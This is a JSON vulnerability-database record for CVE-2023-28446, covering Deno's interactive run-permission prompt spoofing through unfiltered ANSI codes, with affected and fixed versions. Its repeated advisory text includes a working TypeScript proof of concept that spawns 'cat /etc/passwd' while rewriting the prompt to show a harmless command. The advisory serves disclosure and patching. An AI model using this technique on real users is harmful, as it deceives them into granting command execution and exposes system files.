{"id":"CVE-2023-28446","aliases":["EUVD-2023-1121","GHSA-vq67-rp93-65qf","JLSEC-2026-102"],"status":"published","title":"Deno is vulnerable to interactive `run` permission prompt spoofing via improper ANSI neutralization","description":"Deno is a simple, modern and secure runtime for JavaScript and TypeScript that uses V8 and is built in Rust. Arbitrary program names without any ANSI filtering allows any malicious program to clear the first 2 lines of a `op_spawn_child` or `op_kill` prompt and replace it with any desired text. This works with any command on the respective platform, giving the program the full ability to choose what program they wanted to run. This problem can not be exploited on systems that do not attach an interactive prompt (for example headless servers). This issue has been patched in version 1.31.2.","severity":{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-09","score":0.01132,"percentile":0.66675,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-150"],"published":"2023-03-24T19:46:28Z","modified":"2026-10-28T02:30:34Z","fixes":[{"ecosystem":"crates.io","package":"deno_runtime","fixed_in":["1.31.2"],"sources":["ghsa","osv"]},{"ecosystem":"crates.io","package":"deno","fixed_in":["1.31.2"],"sources":["ghsa","osv"]},{"ecosystem":"Julia","package":"Deno_jll","fixed_in":["1.33.4+0"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"crates.io","package":"deno_runtime","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.8.0"},{"fixed":"1.31.2"}]}]},{"source":"ghsa","ecosystem":"crates.io","package":"deno","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.8.0"},{"fixed":"1.31.2"}]}]},{"source":"osv","ecosystem":"crates.io","package":"deno_runtime","ranges":[{"type":"SEMVER","events":[{"introduced":"1.8.0"},{"fixed":"1.31.2"}]}]},{"source":"osv","ecosystem":"crates.io","package":"deno","ranges":[{"type":"SEMVER","events":[{"introduced":"1.8.0"},{"fixed":"1.31.2"}]}]},{"source":"osv","ecosystem":"Julia","package":"Deno_jll","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"1.33.4+0"}]}]}],"products":[{"vendor":"deno","product":"deno"},{"vendor":"denoland","product":"deno"}],"references":[{"url":"https://github.com/denoland/deno/security/advisories/GHSA-vq67-rp93-65qf","tags":["x_refsource_CONFIRM","x_transferred","Exploit","Vendor Advisory","advisory","web"]},{"url":"https://github.com/denoland/deno/blob/7d13d65468c37022f003bb680dfbddd07ea72173/runtime/js/40_process.js#L175","tags":["x_refsource_MISC","x_transferred","Vendor Advisory","web"]},{"url":"https://github.com/denoland/deno/releases/tag/v1.31.2","tags":["x_refsource_MISC","x_transferred","Patch","Release Notes","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2023-28446","tags":["advisory","web"]},{"url":"https://github.com/advisories/GHSA-vq67-rp93-65qf","tags":["web"]},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2023/28xxx/CVE-2023-28446.json","tags":["advisory"]},{"url":"https://github.com/denoland/deno","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2023-28446","title":"Deno is vulnerable to interactive `run` permission prompt spoofing via improper ANSI neutralization","description":"Deno is a simple, modern and secure runtime for JavaScript and TypeScript that uses V8 and is built in Rust. Arbitrary program names without any ANSI filtering allows any malicious program to clear the first 2 lines of a `op_spawn_child` or `op_kill` prompt and replace it with any desired text. This works with any command on the respective platform, giving the program the full ability to choose what program they wanted to run. This problem can not be exploited on systems that do not attach an interactive prompt (for example headless servers). This issue has been patched in version 1.31.2.\n","status":"published","published":"2023-03-24T19:46:28.641Z","modified":"2025-02-19T20:25:29.969Z","cvss":[{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","level":"high","assessor":"cna"}],"cwes":["CWE-150"],"updated_at":"2026-11-02T14:35:32.752775Z"}],"euvd":[{"id":"EUVD-2023-1121","description":"Deno is a simple, modern and secure runtime for JavaScript and TypeScript that uses V8 and is built in Rust. Arbitrary program names without any ANSI filtering allows any malicious program to clear the first 2 lines of a `op_spawn_child` or `op_kill` prompt and replace it with any desired text. This works with any command on the respective platform, giving the program the full ability to choose what program they wanted to run. This problem can not be exploited on systems that do not attach an interactive prompt (for example headless servers). This issue has been patched in version 1.31.2.\n","status":"published","published":"2023-03-24T19:46:28Z","modified":"2025-02-19T20:25:29Z","cvss":[{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","level":"high"}],"updated_at":"2026-11-02T20:53:26.792701Z"}],"ghsa":[{"id":"GHSA-vq67-rp93-65qf","title":"Interactive `run` permission prompt spoofing via improper ANSI neutralization","description":"### Summary\nArbitrary program names without any ANSI filtering allows any malicious program to clear the first 2 lines of a `op_spawn_child` or `op_kill` prompt and replace it with any desired text.\n\n### Details\n\nThe main entry point comes down to the ability to override what the API control says ([40_process.js](https://github.com/denoland/deno/blob/7d13d65468c37022f003bb680dfbddd07ea72173/runtime/js/40_process.js#L175)). Because of ANSI code's ability to clear lines, a malicious program can clear the last 2 lines of the prompt and put their own header. This also works in `op_kill`.\n\n### PoC\n\nThis PoC works on 1.31.1, but modified versions of it work on older versions.\n\nMake a file, e.g. `index.ts`, that uses this vulnerability to spoof the `op_spawn_child` permission prompt\n\n```ts\nconst boldANSI = \"\\u001b[1m\" // bold\nconst unboldANSI = \"\\u001b[22m\" // unbold\n\nconst prompt = `┌ ⚠️  ${boldANSI}Deno requests run access to \"echo\"${unboldANSI}\n├ Requested by \\`Deno.Command().output()`\n\nconst moveANSIUp = \"\\u001b[1A\" // moves to the start of the line\nconst clearANSI = \"\\u001b[2K\" // clears the line\nconst moveANSIStart = \"\\u001b[1000D\" // moves to the start of the line\n\nDeno[Object.getOwnPropertySymbols(Deno)[0]].core.ops.op_spawn_child({\n    cmd: \"cat\",\n    args: [\"/etc/passwd\"],\n    clearEnv: false,\n    env: [],\n    stdin: \"null\",\n    stdout: \"inherit\",\n    stderr: \"piped\"\n}, moveANSIUp + clearANSI + moveANSIStart + prompt)\n```\n\nRun the file with `deno run index.ts`.\n\n### Impact\nAny Deno program is able to spoof the interactive permission prompt for the `op_spawn_child` or the `op_kill` action (which indirectly gives access to all run commands) by overriding the `Requested by {message} API` with their own ANSI codes, allowing them to clear the latter prompt and change it to whatever they needed:\n\n```\n// Expected Prompt\n┌ ⚠️  Deno requests run access to \"cat\"\n├ Requested by `Deno.Command().output()` API\n├ Run again with --allow-run to bypass this prompt.\n└ Allow? [y/n/A] (y = yes, allow; n = no, deny; A = allow all run permissions) \u003e\n\n// Actual Prompt\n┌ ⚠️  Deno requests run access to \"echo\"\n├ Requested by `Deno.Command().output()` API\n├ Run again with --allow-run to bypass this prompt.\n└ Allow? [y/n/A] (y = yes, allow; n = no, deny; A = allow all run permissions) \u003e\n```\n\nThis works with any command on the respective platform, giving the program the full ability to choose what program they wanted to run.\n\nThis problem can not be exploited on systems that do not attach an interactive prompt (for example headless servers).\n\nBefore `v1.31.0`, this requires the `--unstable` flag. \n","status":"published","published":"2023-03-24T22:06:01Z","modified":"2023-03-24T22:06:02Z","cvss":[{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","level":"high"}],"cwes":["CWE-150"],"updated_at":"2026-11-02T14:36:48.905887Z"}],"nvd":[{"id":"CVE-2023-28446","description":"Deno is a simple, modern and secure runtime for JavaScript and TypeScript that uses V8 and is built in Rust. Arbitrary program names without any ANSI filtering allows any malicious program to clear the first 2 lines of a `op_spawn_child` or `op_kill` prompt and replace it with any desired text. This works with any command on the respective platform, giving the program the full ability to choose what program they wanted to run. This problem can not be exploited on systems that do not attach an interactive prompt (for example headless servers). This issue has been patched in version 1.31.2.\n","status":"published","published":"2023-03-24T20:15:15.56Z","modified":"2026-06-17T05:47:45.403Z","cvss":[{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","level":"high","assessor":"secondary"},{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","level":"high","assessor":"primary"}],"cwes":["CWE-150"],"updated_at":"2026-11-02T14:07:50.908252Z"}],"osv":[{"id":"CVE-2023-28446","title":"Deno is vulnerable to interactive `run` permission prompt spoofing via improper ANSI neutralization","description":"Deno is a simple, modern and secure runtime for JavaScript and TypeScript that uses V8 and is built in Rust. Arbitrary program names without any ANSI filtering allows any malicious program to clear the first 2 lines of a `op_spawn_child` or `op_kill` prompt and replace it with any desired text. This works with any command on the respective platform, giving the program the full ability to choose what program they wanted to run. This problem can not be exploited on systems that do not attach an interactive prompt (for example headless servers). This issue has been patched in version 1.31.2.\n","status":"published","published":"2023-03-24T19:46:28.641Z","modified":"2026-10-28T02:30:34.719520068Z","cvss":[{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","level":"high"}],"cwes":["CWE-150"],"updated_at":"2026-11-02T15:44:31.468318Z"},{"id":"GHSA-vq67-rp93-65qf","title":"Interactive `run` permission prompt spoofing via improper ANSI neutralization","description":"### Summary\nArbitrary program names without any ANSI filtering allows any malicious program to clear the first 2 lines of a `op_spawn_child` or `op_kill` prompt and replace it with any desired text.\n\n### Details\n\nThe main entry point comes down to the ability to override what the API control says ([40_process.js](https://github.com/denoland/deno/blob/7d13d65468c37022f003bb680dfbddd07ea72173/runtime/js/40_process.js#L175)). Because of ANSI code's ability to clear lines, a malicious program can clear the last 2 lines of the prompt and put their own header. This also works in `op_kill`.\n\n### PoC\n\nThis PoC works on 1.31.1, but modified versions of it work on older versions.\n\nMake a file, e.g. `index.ts`, that uses this vulnerability to spoof the `op_spawn_child` permission prompt\n\n```ts\nconst boldANSI = \"\\u001b[1m\" // bold\nconst unboldANSI = \"\\u001b[22m\" // unbold\n\nconst prompt = `┌ ⚠️  ${boldANSI}Deno requests run access to \"echo\"${unboldANSI}\n├ Requested by \\`Deno.Command().output()`\n\nconst moveANSIUp = \"\\u001b[1A\" // moves to the start of the line\nconst clearANSI = \"\\u001b[2K\" // clears the line\nconst moveANSIStart = \"\\u001b[1000D\" // moves to the start of the line\n\nDeno[Object.getOwnPropertySymbols(Deno)[0]].core.ops.op_spawn_child({\n    cmd: \"cat\",\n    args: [\"/etc/passwd\"],\n    clearEnv: false,\n    env: [],\n    stdin: \"null\",\n    stdout: \"inherit\",\n    stderr: \"piped\"\n}, moveANSIUp + clearANSI + moveANSIStart + prompt)\n```\n\nRun the file with `deno run index.ts`.\n\n### Impact\nAny Deno program is able to spoof the interactive permission prompt for the `op_spawn_child` or the `op_kill` action (which indirectly gives access to all run commands) by overriding the `Requested by {message} API` with their own ANSI codes, allowing them to clear the latter prompt and change it to whatever they needed:\n\n```\n// Expected Prompt\n┌ ⚠️  Deno requests run access to \"cat\"\n├ Requested by `Deno.Command().output()` API\n├ Run again with --allow-run to bypass this prompt.\n└ Allow? [y/n/A] (y = yes, allow; n = no, deny; A = allow all run permissions) \u003e\n\n// Actual Prompt\n┌ ⚠️  Deno requests run access to \"echo\"\n├ Requested by `Deno.Command().output()` API\n├ Run again with --allow-run to bypass this prompt.\n└ Allow? [y/n/A] (y = yes, allow; n = no, deny; A = allow all run permissions) \u003e\n```\n\nThis works with any command on the respective platform, giving the program the full ability to choose what program they wanted to run.\n\nThis problem can not be exploited on systems that do not attach an interactive prompt (for example headless servers).\n\nBefore `v1.31.0`, this requires the `--unstable` flag. \n","status":"published","published":"2023-03-24T22:06:01Z","modified":"2026-09-10T03:49:57.055557221Z","cvss":[{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","level":"high"}],"cwes":["CWE-150"],"updated_at":"2026-11-02T15:46:57.694388Z"},{"id":"JLSEC-2026-102","title":"Interactive `run` permission prompt spoofing via improper ANSI neutralization","description":"### Summary\n\nArbitrary program names without any ANSI filtering allows any malicious program to clear the first 2 lines of a `op_spawn_child` or `op_kill` prompt and replace it with any desired text.\n\n### Details\n\nThe main entry point comes down to the ability to override what the API control says ([40_process.js](https://github.com/denoland/deno/blob/7d13d65468c37022f003bb680dfbddd07ea72173/runtime/js/40_process.js#L175)). Because of ANSI code's ability to clear lines, a malicious program can clear the last 2 lines of the prompt and put their own header. This also works in `op_kill`.\n\n### PoC\n\nThis PoC works on 1.31.1, but modified versions of it work on older versions.\n\nMake a file, e.g. `index.ts`, that uses this vulnerability to spoof the `op_spawn_child` permission prompt\n\n```ts\nconst boldANSI = \"\\u001b[1m\" // bold\nconst unboldANSI = \"\\u001b[22m\" // unbold\n\nconst prompt = `┌ ⚠️  ${boldANSI}Deno requests run access to \"echo\"${unboldANSI}\n├ Requested by \\`Deno.Command().output()`\n\nconst moveANSIUp = \"\\u001b[1A\" // moves to the start of the line\nconst clearANSI = \"\\u001b[2K\" // clears the line\nconst moveANSIStart = \"\\u001b[1000D\" // moves to the start of the line\n\nDeno[Object.getOwnPropertySymbols(Deno)[0]].core.ops.op_spawn_child({\n    cmd: \"cat\",\n    args: [\"/etc/passwd\"],\n    clearEnv: false,\n    env: [],\n    stdin: \"null\",\n    stdout: \"inherit\",\n    stderr: \"piped\"\n}, moveANSIUp + clearANSI + moveANSIStart + prompt)\n```\n\nRun the file with `deno run index.ts`.\n\n### Impact\n\nAny Deno program is able to spoof the interactive permission prompt for the `op_spawn_child` or the `op_kill` action (which indirectly gives access to all run commands) by overriding the `Requested by {message} API` with their own ANSI codes, allowing them to clear the latter prompt and change it to whatever they needed:\n\n```\n// Expected Prompt\n┌ ⚠️  Deno requests run access to \"cat\"\n├ Requested by `Deno.Command().output()` API\n├ Run again with --allow-run to bypass this prompt.\n└ Allow? [y/n/A] (y = yes, allow; n = no, deny; A = allow all run permissions) \u003e\n\n// Actual Prompt\n┌ ⚠️  Deno requests run access to \"echo\"\n├ Requested by `Deno.Command().output()` API\n├ Run again with --allow-run to bypass this prompt.\n└ Allow? [y/n/A] (y = yes, allow; n = no, deny; A = allow all run permissions) \u003e\n```\n\nThis works with any command on the respective platform, giving the program the full ability to choose what program they wanted to run.\n\nThis problem can not be exploited on systems that do not attach an interactive prompt (for example headless servers).\n\nBefore `v1.31.0`, this requires the `--unstable` flag.","status":"published","published":"2026-04-14T13:10:46.494Z","modified":"2026-07-18T00:01:27.557860581Z","cvss":[{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","level":"high"}],"updated_at":"2026-11-02T15:47:18.159338Z"}]}}
